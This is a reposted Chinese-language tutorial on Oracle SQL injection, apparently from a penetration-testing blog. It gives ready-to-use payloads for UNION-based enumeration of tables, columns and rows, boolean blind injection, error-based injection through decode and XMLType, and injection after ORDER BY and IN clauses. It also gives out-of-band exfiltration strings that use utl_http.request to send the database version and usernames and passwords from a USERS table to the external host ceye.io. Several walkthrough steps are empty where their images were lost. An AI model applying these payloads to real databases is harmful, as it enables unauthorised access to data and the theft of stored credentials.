【實戰】Oracle注入總結


一、Union聯合查詢

  order by 定字段
  and 1=2 union select null,null..... from dual 然后一個一個去判斷字段類型,方法如下
  and 1=2 union select 'null',null...... from dual 返回正常,說明第一個字段是字符型,反之為數字型
    第一個字段是字符型,判斷第二個字段類型:
    and 1=2 union select 'null','null'...... from dual 返回正常,說明第二個字段是字符型,反之為數字型
    第一個字段是數字型,判斷第二個字段類型:
    and 1=2 union select null,'null'...... from dual 返回正常,說明第二個字段是字符型,反之為數字型
  判斷第n個字段的類型,依次類推即可
  確定回顯位,假設當前共2個字段,全是數字型,判斷方式如下:
  and 1=2 union select 1,2 from dual
  假設回顯位是2,爆當前數據庫中的第一個表:
  and 1=2 union select 1,(select table_name from user_tables where rownum=1) from dual
  爆當前數據庫中的第二個表:
  and 1=2 union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('第一個表')) from dual
  以此類推去爆第n個表
  爆某表中的第一個字段:
  and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名(大寫的)') from dual
  爆某表中的第二個字段:
  and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名' and column_name not in ('第一個字段')) from dual
  爆其它字段以此類推
  爆某表中的第一行數據:
  and 1=2 union select 1,字段1||字段2...||字段n from 表名 where rownum=1 --連接多個字段用到的連接符號是||,在oracle數據庫中,concat函數只能連接兩個字符串

  通過字段名找到對應表:
  SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’;

  查詢第N行:
  SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查詢第9行(從1開始數)

  當前用戶:
  SELECT user FROM dual;

  列出所有用戶:
  SELECT username FROM all_users ORDER BY username;

  列出數據庫
  SELECT DISTINCT owner FROM all_tables;

  列出表名:
  SELECT table_name FROM all_tables;
  SELECT owner, table_name FROM all_tables;

  列出字段名:
  SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
  SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;

  定位DB文件:
  SELECT name FROM V$DATAFILE;

實例:

一、UNION聯合查詢型注入

1、判斷注入點類型

注入點類型為單引號字符型

2、order by定字段

3、確定每個字段的類型

oracle自帶虛擬表dual,oracle的查詢語句必須完整的包含from字句,且每個字段的類型都要准確對應,一般使用null來判斷類型。

 

第一個字段為數字型

 

第二個字段為字符型

4、確定回顯位

 

 

 5、爆表

用戶第一個表

或者

其它表使用相同方法即可爆出

6、爆字段

這里以我爆出的用戶帳號表為例進行爆字段

爆第二個字段,方法和爆第二個表一樣,加個刪選條件就行了

 

 其它的類似

7、爆值

oracle的字符連接用||符號,或者用concat,但是concat只能連接連個字符串(可以嵌套實現連接多個字符串),我這里用||符號連接輸出的字符串。

 

 二、布爾型盲注

 

(select length(table_name) from user_tables where rownum=1)>5

(select ascii(substr(table_name,1,1)) from user_tables where rownum=1)>100

(select length(column_name) from user_tab_columns where table_name=xxx and rownum=1)

(select ascii(substr(column_name,1,1)) from user_tab_columns where rownum=1 and table_name=xxx)>10

 

三、Order by后注入


判斷很簡單,字段個數超出就會報錯,隨便給個10000就OK了

也可以參考數字型的注入方式:利用算數表達式:1/0

報錯
利用decode和ordsys.ord_dicom.getmappingxpath()
decode(1,1,ordsys.ord_dicom.getmappingxpath(select user from dual),1)#false
decode(1,2,ordsys.ord_dicom.getmappingxpath(select user from dual),1)#true

帶外注入
utl_http.request('http://ceye.io/')

 

四、In查詢后注入


*表示注入點
select * from user where DEPARTMENT in ('HR*','ADMIN');

自然想到使用使用字符串拼接:||
'||case when ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),1,1))>0 then '' else 'carrypan' end||'
實際測試會出現以下問題:
服務端獲取參數值后會以逗號作為分隔符,而substr等語句就會因為單引號未正常閉合導致語句執行出錯,就無法進行進一步判斷了,經測試,可以采取以下方法:

報錯注入
'||upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) ||'

帶外請求
'||utl_http.request((select user from dual)||'.ceyey.io') ||'

注版本:
utl_http.request('http://ceye.io/'||(select banner from sys.v_$version where rownum=1))

判斷包含密碼字段的數據表的個數
utl_http.request('http://ceye.io/'||(select to_char(count(*)) from user_tab_columns where column_name like '%25PASSWORD%25'))

注包含密碼字段的數據表
utl_http.request('http://ceye.io/'||(select table_name from user_tab_columns where column_name like '%25PASSWORD%25'))
如果多個,可以使用rownum判斷

注數據表中字段
utl_http.request('http://ceye.io/'||(select column_name from user_tab_columns where table_name='USERS') where limit=§1§)

批量出數據
utl_http.request('http://ceye.io/'||(Select data from (selEct rownum as limit,(rownum||'_'||USER_NAME||'_'||PASSWORD) as data from USERS)where limit = §1§))

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM